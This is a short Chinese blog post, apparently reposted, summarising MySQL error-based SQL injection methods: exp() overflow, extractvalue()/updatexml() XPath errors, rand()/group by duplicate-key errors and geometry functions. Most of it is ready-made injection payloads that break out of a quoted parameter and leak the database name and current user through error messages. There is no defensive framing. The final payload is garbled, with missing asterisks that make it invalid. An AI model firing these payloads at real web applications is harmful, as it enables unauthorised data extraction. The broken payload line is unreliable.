sql的報錯注入總結
阿新 • • 發佈:2021-08-30
1.資料溢位
2.xpath語法錯誤
3.concat+rand()+group by 主鍵重複報錯
4.幾何函式
1.資料
exp()函式:此函式返回e(自然對數的底)指數X的冪值 ,select 查詢成功返回0, ~0=1111111111111111
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
2.xpath語法錯誤
這個呢主要有兩個函式
extractvalue()和updatexml()
主要利用方式為
' and (select extractvalue(1,concat('~',(select database()))))--+
' and (select updatexml(1,concat('~',(select database())),1))--+
這裡的~可以換成$或其他特殊字元
3.concat+rand()+group by 主鍵重複報錯
具體原理參照我的另一篇部落格
主要利用方式為
' union select 1 from (select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x)a--+
4.幾何函式
GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp()
利用方法比較統一
' and multilinestring((select from (selectfrom (select user())a)b))--+
但是這部分函式低版本的資料庫沒有辦法使用